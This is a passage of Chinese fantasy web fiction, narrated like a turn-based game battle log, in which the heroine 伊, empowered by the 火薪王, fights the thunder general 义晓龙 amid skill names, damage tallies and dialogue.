义晓龙使用雷之印·挥阵雷闪,对姜北谷子造成305点伤害,并施加三层感电、一层雷隐。姜北谷子身负三层雷神之召。 姜北谷子向义晓龙发起了最后的佚亡交锋。 姜北谷子使用极技·鸿星七连斩,连续挥斩释放夺命七连击。 义晓龙使用雷之印·御流刃雷,引雷为巨刃横扫出一片雷霆海洋。 姜北谷子打出99点进攻点数,义晓龙也打出99点进攻点数,二者持平,再度交锋。第二次还是相同点数,第三次也是。第四次不一样了,姜北谷子打出87点进攻点数,义晓龙打出102点进攻点数,姜北谷子交锋失败,随后迎接这一招的全部伤害。 义晓龙使用雷之印·御流刃雷,致命攻击!对姜北谷子造成321点伤害,并施加五层感电、两层雷隐。姜北谷子身负四层雷神之召。 姜北谷子血量归零,他给予伊剑圣的力量,随后便倒下了,彻底败北!义晓龙恢复200点生命。 “伊小姐......接下来就靠你自己了。保重!” 说完,姜北谷子一头栽倒在地面上,再也没有了生气。 伊面对眼前的战况,她痛心疾首。浓烈的决意凝聚在她的心中,她暗暗发誓要拼尽全力战胜面前的雷电将军。 义晓龙使用雷之印·紫霆流转,伊使用光之工坊·充能大剑,成功格挡! 义晓龙使用雷之印·天雷化音,伊使用光之工坊·带刃双拐,格挡失败!伊受到254点伤害,并被施加了两层感电。伊进入麻痹状态。伊身负三层雷神之召。 伊使用光之剑iv型·神威流,对义晓龙造成103点伤害,义晓龙下一次攻击所造成的伤害在原本的1%到50%之间。 伊使用卡娜铃兰的绝技·铃兰花舞会,消耗五层皓月铃兰,致命攻击!伊使用姿态优美的舞蹈式斩击,飞快打出八次致命的攻击,紧接着凑近敌人释放华丽的蝴蝶剑舞,在这支致命之舞进行的时候,空中开始飘洒瘆白色的铃兰花...... “亲爱的爱人呀,我好想你......花朵是我送给你的礼物,你收到了吗?希望你能喜欢这个鲜花烂漫的季节,我们的回忆就在花中记载着......” 一记致命的蝴蝶斩打出,一场华丽的舞蹈迎来落幕。 义晓龙受到178点伤害。 战斗暂停中...... 义晓龙: “该结束了......” 雷神的力量在他体内爆发,属于他对手的黄昏即将到来。一阵阴风吹过,战场内弥漫着死亡的气味。义晓龙身上爆出紫黑相见的火焰状斗气,强大气场激发出电弧穿梭在他周围的空气当中。 义晓龙: “就让这首风音为你送去黄泉的彼岸花吧。” 铃兰花: “伊......那个家伙身上好像有些不对劲......小心呐!” 伊: “我会的!” 小咒刀: “主人......我会拼尽全力保护你的!” 伊: “嗯。加油!” 小咒刀: “身为曾经的弑神者,我决不许我在乎的人受到任何伤害!” 伊: “让我们一起......结束这场战斗吧!为了我们战死的伙伴!!!” 战斗继续...... 第十一回合,伊受到15点雷电伤害,感电层数减2。义晓龙意志等级提升,雷神的力量在他体内完全展放,神备的力量令他可以匹敌神明。义晓龙恢复1000点生命,本回合攻击属性大幅度提升,本回合出招的最后一击将是佚亡技。本回合内义晓龙自身拥有50层雷神之召! 伊技能:光的力量触发,使用光之子相关技能可以造成更多伤害。伊的想象力喷涌了出来,心中的斗志如火山般爆发!猛然间,战场的背景之中响起了伊最喜欢的那首战歌,在音乐加持下伊爆发出了前所未有的战斗力。反击的终末之歌回荡在战场之中,最终的反击战开始了! 小咒刀技能:护主触发,本回合全力保护伊。 义晓龙恢复450点生命。伊恢复200点生命。 伊将战斗风格切换为默认风格轮转。 小咒刀先手攻击。 小咒刀使用魔影凝视·血流千里,被义晓龙躲开了。 小咒刀使用魔影斩三式,对义晓龙造成了86点伤害,义晓龙本回合行动数减1。 小咒刀使用魔影穿刺,出其不意!对义晓龙造成91点伤害,义晓龙本回合防御力大幅度降低。 义晓龙雷之印·风雷一心,强化本回合全部攻击,本回合额外行动两次,攻击消减对方增益层数。 义晓龙使用雷之印·神雷化躯,强化下五次攻击,攻击进行期间攻击身负感电效果的敌人会给予自身25点额外生命。自身增加300点额外生命。 义晓龙雷之印·雷厉风行,速度属性两回合内提高60%,下一次攻击必定先手,清除所有麻痹效果。 义晓龙使用雷神印·封印神明,消耗十层雷神之召,释放雷神锁链封印神明,小咒刀被禁锢行动五回合。 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,伊使用光之剑v型·化劲流,格挡成功! 义晓龙使用雷之印·天雷化音,伊使用光之工坊·枪与匕首,格挡成功! 义晓龙使用雷之印·御流刃雷,伊使用光之剑v型·化劲流,格挡失败!伊受到652点伤害,并被施加了五层感电、两层雷隐。伊身负一层雷神之召。 伊血量锁定至1点,伊倒下了......同样的事又一次发生了。 突然,伊的身旁出现奇异的光芒,希德薇拉的庇佑降临在她的身上。一道耀眼的曙光照进她的灵魂深处,沉睡的光之种子爆发出前所未有的力量。 “伊,全力以赴吧。” 伊从地上慢慢爬起。再次站起时,她的双瞳变成了金色,散发柔光的光点环绕在她的脚底。光之能量化成金色的斗气在她身上泛起,她此刻充满了力量。 伊激活核心,进入超神备强化状态。伊的血量变为500点,单回合六行动,琶舞状态下为单回合三行动,且永久获得5层力量、速度、防御、再生、耐性,并免疫绝大多数负面状态效果。 伊使用光之誓言,对义晓龙施加3回合的威力增幅无效化、昏昏欲睡效果,5回合内的第一次攻击无效。 伊使用光的旨意,给予自身光之怜悯效果(所有敌人只会被打至1点生命,自身伤害永远提升36%)。 伊使用威慑,对义晓龙无效,下回合第一次攻击的伤害x1.2。 伊使用仁慈,对义晓龙无效,下回合造成伤害+15%。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 伊使用太极·积蓄力量,下一个技能的伤害提高1%至200%,使用该技能后两回合内受到的伤害额外增加40%。 第十二回合,义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。雷神的力量预感到接下来的风暴,一层雷神之盾生成在义晓龙身上,敌人开幕的第一招仅能消减义晓龙999点生命,义晓龙获得一回合的30层防御。 义晓龙恢复450点生命。伊恢复200点生命。义晓龙速度优先级大于伊,判定义晓龙先手攻击。 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,伊的技能触发,该技能无效化! 伊使用搏命技·创世纪,伊生成巨型光之法阵于手掌之前,强大的光之能量汇聚在伊的双手,伊将法阵对准她面前的敌人,随即释放出湮灭一切的光波。 “感受这——超越神明的一击!” 湮灭光波从法阵之中射出,随即贯穿战场直逼义晓龙。义晓龙无处可躲,只能乖乖接受他的命运。在一道耀眼的光闪烁过后,战场上只留下了寂静。光波消失,法阵崩解,那道光湮灭了一切。 伊对义晓龙造成7201点伤害,对义晓龙施加78层烧伤、12层撕裂效果。义晓龙使技能触发,他仅受到了999点伤害。 突发情况!陌再一次出现在战场之上,他带来了先前战死的死灵。 战斗暂停中...... 陌: “伊!我们来支援你了。” 伊: “大家......” 陌: “不必担心,我们会帮你到最后的。哪怕是被拿去抗伤害,也无所谓。” 姜北谷子: “话不能这么说。一切皆是未知,也许我们还能反将他一军呢。” 不死耶稣: “相信希望,孩子。” 至尊骷髅侠; “我们会拼尽全力帮助你的!” 黑斗笠: “相信我们。” 远古骷髅王: “不管怎么样......你看起来像是我想保护的人。” 幽灵裁缝: “我也会尽一份力的......” 陌: “伊,有我们当你的后盾,你永远可以无所畏惧。——我们是不死族,是死神都无法战胜的种族!” 伊感动之情溢于言表。 伊: “大家......谢谢!谢谢你们!” 铃兰花: “加油呀,伊。” 伊: “嗯......嗯!” 战斗继续...... 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,对姜北谷子造成565点伤害,并施加五层感电、两层雷隐。姜北谷子采取防御措施,抵消365点伤害。姜北谷子陷入晕厥状态,本回合无法行动。 义晓龙使用雷神印·万军霆灭,消耗十二层雷神之召,致命攻击!对敌方全体人员均造成1260点伤害,并对敌方全体人员施加八层感电、三层雷隐、一层正面增益无效化。陌被雷神的力量禁锢了。陌使用魔法·纪元之盾,成功格挡!陌、伊、姜北谷子、不死耶稣、远古骷髅王免疫此次攻击的伤害。 战斗暂停中...... 黑斗笠: “唔......咳咳!看来......到此为止了。” 至尊骷髅侠: “明明还没有拼尽全力......真是遗憾呢。伊......你要加油......” 幽灵裁缝: “抱歉......伊,我没有帮上你什么忙。——加油......” 黑斗笠、至尊骷髅侠、幽灵裁缝化成碎片消散了...... 伊: “斗笠哥!不——!” 战斗继续...... 黑斗笠、至尊骷髅侠、幽灵裁缝再度败北! 义晓龙使用雷之印·御流刃雷,致命攻击!对不死耶稣造成321点伤害,并施加五层感电、两层雷隐。不死耶稣身负一层雷神之召。 战斗暂停中...... 不死耶稣: “嘎嘎嘎......这便是老朽的命运吗?哈......又死了一次呢。——伊,你要加油啊......愿主保佑你。” 不死耶稣化成枯叶飘零了...... 伊: “老骨爷爷!我......我会继承你们的遗志的。你们放心!” 战斗继续...... 不死耶稣再度败北! 义晓龙使用雷之印·天雷化音,致命攻击!对远古骷髅王造成460点伤害,并施加两层感电。远古骷髅王身负三层雷神之召。 义晓龙使用雷之印·挥阵雷闪,远古骷髅王使用鸿铭一绝,反制失败!远古骷髅王受到311点伤害,并被施加了三层感电、一层雷隐。远古骷髅王身负六层雷神之召。 战斗暂停中...... 远古骷髅王: “战士......只能被杀死,不能被侮辱。即便要死,也要死的痛快些!” 远古骷髅王化成灰尘随风消散...... 伊: “又......失去一位同伴了呢。” 战斗继续...... 远古骷髅王再度败北! 义晓龙使用雷神印·御流刃雷,对姜北谷子造成501点伤害,并施加五层感电、两层雷隐。姜北谷子身负一层雷神之召。姜北谷子采取防御措施,抵消掉137点伤害。可惜,最终还是改变不了败北的命运。 战斗暂停中...... 姜北谷子: “伊......在下尽力了。希望你可以超越在下,击败你眼前的敌人。我先行一步,你一定要小心啊!” 姜北谷子化成碎屑融入了土壤...... 伊: “剑圣哥——!” 战斗继续...... 姜北谷子再度败北! 义晓龙使用雷之印·紫霆流转,对陌造成491点伤害,并施加四层感电。陌身负两层雷神之召。 义晓龙使用雷神印·御流刃雷,对陌造成499点伤害,并施加五层感电、两层雷隐。陌身负一层雷神之召。 天空中落下数道闪电,仅仅劈中了陌一人,陌受到174点雷电伤害。陌身上的雷隐效果清零。 战斗暂停中...... 陌: “伊......原谅我现在做出的决定。我为你准备逃跑的魔法去,你等我......实在打不过的敌人,我们就撤退吧。” 伊: “嗯。能保住生命才有继续战斗的本钱。” 陌: “我先走了......马上回来。” 陌选择了逃跑...... 伊: “陌,加油!” 战斗继续...... 陌不得已撤出战斗,已无再战的可能,败北! 伊使用搏命技·光之湮灭,清空自身全部核心能量和法力,给予自身下回合无法行动的禁锢,打出致命的千钧蓄力一掌。 “这一击,贯穿星河!” 伴随着湮灭之光从伊的掌心迸发而出,伊在最完美的时机打出了这一掌。 威力巨大的一击!这一击,堪比核爆。义晓龙使用雷之神·耀界穿刺,成功反制! 一道雷光贯穿伊的躯体,伊痛苦着吐出一滩鲜血,她此刻感受到了前所未有的痛苦。她打出的这一掌是擦着义晓龙身体过去的,而义晓龙的攻击结结实实地打在了她身上,她与胜利的希望失之交臂。很显然这一次交锋是义晓龙赢了。伊在雷鸣当中缓缓倒下,战斗即将落下帷幕。 伊受到2831点伤害,并被施加了五十层感电、九层雷隐。 铃兰花: “伊!!!不!不要——!” 伊血量归一,超神备状态解除,伊进入最后处决场景。 战斗停止中...... 联盟国—第十六话:雷电将军(下) 书接上文...... 光球融入伊的身体,伊感觉到一股炙热的力量正在她体内凝聚,那股力量强大到伊无法形容,是伊迄今为止感受过最强大的力量。在那股力量凝聚完的瞬间,伊的样子瞬间发生了天翻地覆的变化。 伊的衣服变成披着烧焦还带着点火焰的黑布、纹有精致的龙纹、质地坚硬色泽银白又富有光泽的无盔轻装战甲,看起来威风与霸气并蓄;伊的头发呈自然的散开且发尖具有薪火燃烧后留下的泛着火星的焦黑,一种独特的反差美呈现在其上;伊的脸蛋旁多了两小撇薪火的火团,一左一右对称在侧脸,它并不会灼烧伊的皮肤,它是贴在上面的装饰物,并非实际的火焰,这让伊本就漂亮的脸蛋更美了几分;伊的双眸变成薪火的颜色,当中的纹理酷似风暴的涡旋,它伴随不灭的烈焰喧腾自天穹,生生不息,每一次旋转都是光与热的一次绽放,这样的双眸看起来总会给人一种不怒自威的感觉,仿佛那双眼可以穿透一切。 伊有些茫然地望着自己的手,她的脸上显露出既震惊又开心的样子,那充满感激的眼神中表露出她内心最真实的想法。这种奇迹一样的场景她还是第一次见,更未料到这会发生在自己身上。 “这种感觉......我感觉全身都充满了力量!”伊感叹道,“好神奇!这就是薪王的力量吗?真的好棒哦!!!”伊笑着攥起拳头,她蓄势待发。 伊身上携带着的铃兰花顿时两眼放光,“哇塞!伊,你怎么变得怎么飒了?天啊!这还是你吗?”铃兰花惊讶道,“我第一次见到这样帅气的女人。伊,你真是太让人惊喜了啊!” 火薪王见此微微叩了叩首,随即告诉她: “记住,薪火只能赐予你五分钟,速战速决吧。” 伊激动地点头回应道: “明白了!” 火薪王向伊伸出手,薪火的力量凝聚在地面上,圆环状的法阵生成在伊的前方。正当伊好奇地观看之时,突然嚯的一声,一把燃着薪火的长剑从法阵中升起。伊吓了一跳,本能地小挪了一步。惊吓过后,伊主动靠近这把剑,随后有些犹豫地向这把剑伸出了手,然后抓住这把长剑的剑柄并将其牢牢掌握在手中。 伊握紧长剑,然后将剑横过来检查一番。长剑剑刃上倒映出伊的面容,伊见到自己的倒映,神情不由得变得更加坚定了些。看过长剑后伊随手一甩,薪火顿时在剑上迸发了出来。伊望着手中酷炫的长剑,心中别提有多激动、有多自信了! 这时,火薪王主动后退了一步,并语重心长地告诉伊: “靠你自己的技巧击败你面前的敌人吧。——力量非己,但志在身,未来之路,掌中红尘。” 伊做出恭敬的手势,一脸笑容地对火薪王说: “赐教了!” 接下来,伊转头看向一旁默默注视两人的义晓龙。伊摆出战斗架势,脸上洋溢着自信的笑容,眼神里迸发坚毅的色彩。伊郑重的告诉对方: “那么接下来,人家必须要痛扁你一顿才行呢!” 义晓龙冷哼一声,随后拔起插在地面上的三尖两刃刀,扛在肩上,又露出一脸无所畏惧的样子。义晓龙冷冷地对伊说: “呵......放马过来。” 伊微微压低身体,眉头微微皱起,她已然做好了战斗准备。义晓龙与伊相视片刻,两人的眼神之中都带着浓浓的战意,战场上的氛围顿时变得有几分热血。 伊面带笑容的激动地喊出: “要上喽!......雷电将军!!!” 话音刚落,两人都摆出出招前的准备架势,随后蹬地加速快步冲向彼此。锋刃对撞,雷火交融,两人势均力敌,一场大战在所难免。随着伊斩出一记华丽的火焰斩,义晓龙后撤步闪躲,两人的战斗即刻开始。 战斗准备中...... 薪火掌握者·伊,等级99+,血量1600,战斗力850,速度等级vi,单回合四行动,介绍:受到火薪王赐福的伊,实力达到前所未有的新高度。虽是借用的力量,但伊仍表现出了十足的信心。薪王赐予的力量让柔弱的她变得无比刚强,薪火的力量令她感到前所未有的安心。这一战,她有必胜的决心。 雷神·义晓龙,等级99,血量2000,战斗力900,速度等级vi,单回合七行动,介绍:天上人顶尖战力的完全解放状态,其实力恐怖如斯,堪比梦魇一样的毁灭力使他足以击败收尾人乃至站在都市巅峰的佼佼者。神备·雷神佐革夫的加持令他的力量达到了常人无法想象的级别,他现在可以轻易撕碎阻挡在他面前的一切事物。现在描述他为神明毫不为过。 战斗继续...... 第十三回合,义晓龙技能:雷神的祝福触发,本回合防御属性大幅度提升。义晓龙将战斗风格切换为孤将。义晓龙的周围围绕着狂躁的雷电,周围的云层当中狂雷大作。 伊技能:薪王姿态触发,攻击附加薪火、仙力流逝效果,每次攻击若成功造成伤害则固定恢复25点生命,本效果不受再生效果影响;免疫绝大部分的负面状态,每回合必定有一个技能必定命中敌人;每回合固定恢复400点生命,永久获得10层力量、速度、再生、防御、耐性效果。 伊将战斗风格切换为轮转。 义晓龙恢复450点生命。伊恢复550点生命。速度等级相同,双方交替出手,伊先手攻击。 伊使用光之子的决意,本回合能量消耗翻倍,但整体伤害x1.25。 义晓龙使用雷打不动,三回合内大幅度提升防御力,受击伤害部分转化为能量。 伊使用泰阿腾转,出其不意!对义晓龙造成327点伤害,并施加了两层薪火、三层仙力流逝。 义晓龙使用雷神印·天雷一闪,消耗七层雷神之召,伊使用抽丝剥茧,成功格挡! 伊使用太康崩体,义晓龙使用潮云闪舞,招架失败!义晓龙受到406点伤害,并被施加一层薪火、两层仙力流逝,永久减少义晓龙一次回合行动数。 义晓龙使用雷之印·挥阵雷闪,伊使用融会贯通,反制失败!伊受到47点伤害。伊身负三层雷神之召。 伊使用湛泸雷穿,义晓龙使用雷之印·天雷化音,格挡失败!义晓龙受到303点伤害,并施加了一层薪火、五层仙力流逝。 义晓龙使用雷之印·紫霆流转,对伊造成31点伤害。伊身负五层雷神之召。 义晓龙使用雷之印·天雷化音,致命攻击!对伊造成55点伤害。伊身负八层雷神之召。 义晓龙雷之印·雷厉风行,速度属性两回合内提高60%,下一次攻击必定先手,清除所有麻痹效果。 第十四回合,义晓龙受到100点火焰伤害。义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。雷神的力量汇聚在义晓龙体内,它将万钧雷霆的力量注入义晓龙的躯体,一层雷神之甲生成在义晓龙身上,敌人的攻击最多一次对义晓龙造成300点伤害,义晓龙获得一回合的20层防御。 伊的意志等级提升,回合行动数加1。 义晓龙恢复450点生命。伊恢复550点生命。义晓龙先手攻击。 义晓龙使用雷神印·万军霆灭,消耗十二层雷神之召,致命攻击!对敌方全体造成320点伤害,对伊施加了三层雷隐。雷神的力量试图禁锢伊,但伊体内的薪火粉碎了这个妄想。伊免疫任何形式的禁锢效果。伊采取防御措施,抵消掉260点所受伤害。 伊使用太极剑法,义晓龙使用雷索横渡,反制失败!义晓龙受到102点伤害,并被施加三层薪火、三层仙力流逝,义晓龙自身全属性小幅度下降。 义晓龙使用雷之印·神雷化躯,强化下五次攻击,攻击进行期间攻击身负感电效果的敌人会给予自身25点额外生命。自身增加300点额外生命。 伊使用亢龙有悔,给予自身五回合的三层亢龙有悔效果(暴击率随攻击次数的提升而提升,造成暴击的均为超级暴击,伤害量为正常暴击的1.5至3倍,触发暴击后该效果减少一层)。 义晓龙使用雷之印·潮云闪舞,出其不意!对伊造成107点伤害,并施加一层雷隐。伊身负九层雷神之召。 伊使用轩辕挥阵,义晓龙使用雷之印·挥阵雷闪,反制失败!义晓龙受到78点伤害,并被施加三层薪火、四层仙力流逝,三回合内禁用义晓龙的防御增幅效果(包括防御和耐性两种)。 义晓龙使用雷之印·御流刃雷,消耗二行动数,出其不意!对伊造成137点伤害,并施加两层雷隐。伊身负十层雷神之召。 伊使用鱼肠凌风,义晓龙使用雷之印·潮云闪舞,格挡失败!义晓龙受到65点伤害,并被施加两层薪火、七层仙力流逝,两回合内大幅度降低义晓龙的魔法及仙术类伤害。 义晓龙使用雷之印·天雷化音,伊使用去汝筋骨,成功反制!义晓龙受到100点伤害,并被施加了一层薪火、五层仙力流逝。 伊使用万仞绝命,对义晓龙造成103点伤害,并施加一层薪火、三层仙力流逝,义晓龙下回合所有技能效果降低20%。 义晓龙使用雷之印·雷索横渡,消耗两次行动数,致命攻击!对伊造成120点伤害,并施加两层雷隐。伊身负十一层雷神之召。 仙力流逝效果的叠加令义晓龙进入一级仙力崩解状态,义晓龙所有与雷之术或雷神相关的技能的效果降低25%。 伊检查了一下战况。 义晓龙血量1167,架势值39%,身负十四层薪火、三十二层仙力流逝、十四层雷神之召。义晓龙处于一级仙力崩解状态。 伊血量1176,架势值89%,身负八层雷隐、十一层雷神之召。 第十五回合,义晓龙受到350点火焰伤害。 义晓龙技能:紫霆琵琶的琶音触发,义晓龙获得三十层雷神之召,且之后的每回合开幕都会获得十层雷神之召,但代价是自身所受伤害提升25%。伊技能:永恒的朝阳触发,伊本回合额外行动两次,给予义晓龙一回合的正面增益无效化。 义晓龙恢复450点生命。伊恢复550点生命。伊先手攻击。 伊使用燃起来了!我的中二之魂,三回合内造成的伤害提升30%,但受到的伤害会提高50%。 义晓龙雷之印·风雷一心,强化本回合全部攻击,本回合额外行动两次,攻击消减对方增益层数。 伊使用太上忘情,短暂遗忘队友的存在,自身伤害属性大幅度提升,又获得5层无法被消减的耐性效果。注意!使用时长超过四回合会对自身的记忆造成难以想象的破坏,若想取消该技能效果,可消耗一次行动数使用技能念念不忘的牵挂来解除该技能的效果。 义晓龙使用雷之神·雷神降临,本回合所有技能均会消耗雷神之召,其对应效果均得到大幅度提升。 伊使用云星斩月,超级暴击!对义晓龙造成605点伤害,并施加四层薪火、一层仙力流逝,永久减少义晓龙一次回合行动数。亢龙有悔层数减1。 义晓龙使用雷神强化·紫霆流转,消耗两层雷神之召,对伊造成131点伤害。伊身负十一层层雷神之召。 伊使用承影间隙,义晓龙使用雷神强化·雷索横渡,消耗三层雷神之召,反制成功!义晓龙受到203点伤害,并被施加了一层薪火、五层仙力流逝,永久削减义晓龙每回合第一个攻击技能的伤害,削弱幅度至少为30%。 义晓龙使用雷神强化·仙术治疗,义晓龙恢复1000点生命,并获得三回合的十层再生效果。 伊使用七星龙渊斩,超级暴击!对义晓龙造成777点伤害,并施加六层薪火、三层仙力流逝。中途义晓龙采取防御措施,抵消掉333点所受伤害。亢龙有悔层数减1。 义晓龙使用雷神强化·万军霆灭,消耗十八层雷神之召,致命攻击!对敌方全体造成411点伤害,对伊施加了三层雷隐。伊无视禁锢效果。伊采取防御措施,抵消掉271点所受伤害。 伊使用八荒星陨落,消耗本回合全部行动数,超级暴击!对义晓龙造成1213点伤害,并施加两层薪火、一层仙力流逝。中途义晓龙采取防御措施,抵消掉430点伤害。抵挡完伤害后,义晓龙架势值崩溃,本回合陷入晕厥状态。亢龙有悔层数减1。 伊使用光之子的骄傲,下回合能量消耗翻倍,但整体伤害x1.35。 第十六回合,义晓龙受到675点火焰伤害,义晓龙进入锁血状态。义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。雷神的力量化作狂躁的雷霆运转在义晓龙的阵法之中,它将万钧雷霆的力量与义晓龙的意志融合在一起,一层雷神护臂生成在义晓龙身上,开幕时义晓龙打出的第一次攻击额外追加200点神明伤害,义晓龙获得一回合的15层力量。 义晓龙恢复450点生命。伊恢复550点生命。义晓龙昏厥,伊先手攻击。 伊使用处决,冷血无情!修长的利剑刺穿义晓龙的躯体,薪火如锯齿一般撕裂义晓龙的身体。伊拔出利剑使出一记回旋二连斩,然后一个跳劈斩完成处决。处决过后,伊自信地撩了下自己的刘海,甚是优雅,气质十足。 漂亮的处决!义晓龙受到890点致命伤害。 战斗暂停中...... 义晓龙捂着伤口大口喘气,他已然一副颓唐的样子。 义晓龙: “啧......看来是我低估你了,女人。” 伊: “哼~~~人家可是超厉害的好吧!” 伊双手搭在小臂上,一副很是高兴的样子。 义晓龙: “哈哈哈哈......” 伊: “你笑什么?这有什么好笑的?” 义晓龙: “你还真是天真呢......” 伊: “诶?” 义晓龙: “你不会以为这就是我的极限了吧。” 这时,一旁的火薪王提醒了伊一句: “天上人的强者一般都有三个形态。你现在只击败了两个,接下来才是他们完全展现实力的时候。” 伊: “哦。——那为何他们不一开始就展开实力呢?” 火薪王: “如果一开始就尽全力,那么他们将只有一个形态可用。” 伊: “为何?” 火薪王: “修仙者遭受的外部刺激能活化体内的仙韵,在遇到特殊情况时,修仙者可以释放活化过的强力仙韵,不仅可以让自身受到的创伤全部痊愈,还能令自身进入高强度战斗模式。” 伊: “原来如此。” 趁着两人说话的功夫,义晓龙已经汇聚并调整完了体内的雷神之力,他的神之眼展现出了前所未有的绚丽形态,淡紫色的光芒从他眼中散发出来,雷神在世时的风采呈现在他的身上。 伊: “我看到了......这就是神一般的力量吗?” 火薪王: “玖号仙丹?天啊!他们怎么会服用这种东西?” 伊: “服用这种仙丹有什么坏处吗?” 火薪王: “那种仙丹是邪恶精华的产物,我所生活的那个时代里它是严令禁止生产制造的!——服用它虽会极快提升服用者的实力,但服用者也会因此遭受魔化诅咒。这份诅咒会让天上人最依赖的、名为【神备】的能力变得拥有侵蚀性,并且还会造成许多我意料之外的副作用......具体是什么,我暂且不知道。” 伊: “哦~原来是这样。” 火薪王: “真是大逆不道!竟敢违背先王的意愿。” 伊: “火头头的大哥哥,不要生气。冷静,冷静......” 这时,义晓龙摆出了进攻架势。 火薪王: “当心!他要攻过来了......” 伊: “我知道了!” 义晓龙: “小丫头......神,不惧怕死亡!” 战斗继续...... 第十七回合,义晓龙技能:神备融合触发,义晓龙化身为雷神,带着暴桀的雷霆与狂野的风暴降临世间。义晓龙身上的强力负面效果减少50%,负面效果完全清除,免疫大部分的负面效果,将力量、再生、耐性、速度、防御效果都重置为十八层;自身血量恢复到2000点,每回合固定恢复600生命,血量不足时可消耗自身能量恢复,当义晓龙血量与能量双双归零时才可败北。 义晓龙技能:雷神的侵蚀触发,义晓龙攻击敌人将在自身累积侵蚀效果(每层侵蚀会增加自身5%的伤害和防御,以及减少自身的2%伤害减免),侵蚀效果超过30层时会晴空侵蚀效果并使雷将军陷入晕厥或狂暴化状态。 伊技能:耀眼的正午触发,伊本回合额外行动两次,给予义晓龙一回合的正面增益无效化,本回合技能顺序中位于中间的技能效果提升100%。 义晓龙受到350点火焰伤害。义晓龙获得10层雷神之召效果。义晓龙恢复870点生命。伊恢复550点生命。伊先手攻击。 伊使用纯钧闪击,义晓龙使用雷之印·挥阵雷闪,格挡失败!义晓龙受到99点伤害,并被施加五层薪火,一层仙力流逝。 义晓龙使用雷神印·雷之盾山,消耗十八层雷神之召,生成五个围绕在义晓龙身旁且能为义晓龙阻挡伤害的雷盾。雷盾存续期间每回合对敌方全体人员造成80点伤害。默认状态下每个雷盾最多抵消500点伤害。 伊使用赤霄旋劈,义晓龙试图闪躲,闪躲失败!义晓龙受到100点伤害,并被施加两层薪火、三层仙力流逝。雷盾为义晓龙抵消90点伤害。 义晓龙使用雷之神·雷神降临,本回合所有技能均会消耗雷神之召,其对应效果均得到大幅度提升。 伊使用龙泉断喉,致命攻击!对义晓龙造成206点伤害,并施加八层薪火、一层仙力流逝,下一次造成的伤害+50%。雷盾为义晓龙抵消136点伤害。 义晓龙使用雷神觉醒·天雷一闪,消耗七层雷神之召,出其不意!对伊造成206点伤害,并施加五层雷隐。伊采取防御措施,抵消56点伤害。 伊使用银舞干将,正午耀眼,致命攻击!对义晓龙造成254点伤害,并施加一层薪火、四层仙力流逝和两回合的威力增幅无效化,下一招使用莫邪相关技能时攻击伤害增加50%。雷盾为义晓龙抵消234点伤害。 义晓龙使用雷神强化·万军霆灭,消耗十八层雷神之召,致命攻击!对敌方全体造成342点伤害,对伊施加了七层雷隐。伊无视禁锢效果。伊采取防御措施,抵消掉123点所受伤害。 伊使用赤闪莫邪,义晓龙使用雷之印·潮云闪舞,反制失败!义晓龙受到198点伤害,并施加四层薪火、两层仙力流逝。雷盾为义晓龙抗下196点伤害。 雷盾破碎了,还有四个雷盾存在。 义晓龙身上的仙力流逝效果超越52层,义晓龙陷入堕仙状态,自身全属性大幅度下降,仙术相关的技能大幅度削弱,义晓龙所有伤害的抗性变为脆弱。 义晓龙使用雷之神·极原天照,消耗三十层雷神之召,致命攻击!义晓龙旋转手中的兵器,一条如蛟龙般腾飞的电流从他的兵刃尖端冒出,后升入天空形成大电流之势,刹那间雷神阵法浮现在义晓龙身后。 “雷,顷灭尔等也。散去随光,目留尘埃。” 义晓龙腾空而起,使出一套华丽的枪舞。一道雷光过后,群敌退散! 伊受到678点伤害,并被施加了十层雷隐,伊陷入麻痹状态。 天空中落下一道紫色的惊雷,数道闪电击碎而至,它们仅仅劈中了伊一人,伊受到890点雷电伤害。伊身上的雷隐效果清零。 伊使用光之子的骄傲,下回合能量消耗翻倍,但整体伤害x1.35。 伊使用使用技能念念不忘的牵挂,消除太上忘情效果。 第十八回合,义晓龙受到850点火焰伤害。义晓龙技能触发,本回合额外行动两次,本回合第一招必定是先手攻击。雷神的力量化作亮紫色斗气燃烧在义晓龙的身上,它将万钧雷霆的力量完全融入到义晓龙的身体,一层雷神之盔生成在义晓龙头上,本回合内义晓龙全属性大幅度提升,又获得一回合的十层力量、防御、速度、耐性效果。 伊技能:终末的黄昏触发,伊本回合额外行动一次,给予义晓龙一回合的正面增益无效化,本回合最后使用的技能的效果翻倍。 义晓龙获得10层雷神之召效果。义晓龙恢复870点生命。伊恢复550点生命。义晓龙先手攻击。 义晓龙使用雷之神·审判之雷,消耗全部的雷神之召,致命攻击!义晓龙立直手里的兵器,随后高举兵器,雷神之力上以落雷下以仙力注入兵器内部。随即战场上狂风大作、乌云密布、雷声不绝,金霆的威光将地面染得金黄,顿时周围一下子亮了起来。义晓龙将雷神之力与仙力注入一道金雷当中,随后金雷射向天空,直直地贯穿了密密麻麻的乌云层。 “雷神啊!静静感受我的呼唤吧。” 天空中涌现出许多五彩斑斓的雷电,它们狂舞着、四处逃窜着、又激情诉说着它们心中的狂喜。一时间黑压压的乌云也变得不那么单调,雷电的舞会显得格外宏大与壮观。雷神的力量此刻显现了出来,那令人着迷又令人恐惧的死亡雷霆与它们所表演的舞蹈是雷神真实实力最好的证明。 “接受审判吧!雷神......降临——!” 五彩斑斓的审判之雷从天空中落下,遂后以近乎疯狂的频率轰击着地面上茫然的敌人。轰击过后,义晓龙腾空而起,以兵器御雷释放巨型雷刃。一道瘆白的光闪过之后,现场只剩下了尘埃。 伊受到999点伤害,并被施加十层雷隐,伊陷入二级麻痹状态。 伊使用燃起来了!我的中二之魂,三回合内造成的伤害提升30%,但受到的伤害会提高50%。 义晓龙使用雷之印·神雷化躯,强化下五次攻击,攻击进行期间攻击身负感电效果的敌人会给予自身25点额外生命。自身增加300点额外生命。 伊使用光之子的决意,本回合能量消耗翻倍,但整体伤害x1.25。 义晓龙使用雷之印·雷索横渡,被伊躲开了。 伊使用聚精会神,下一个使用的辅助类技能实际效果翻倍,使用攻击类技能则只会提升50%。 义晓龙使用雷之印·天雷化音,对伊造成99点伤害。伊身负三层雷神之召。 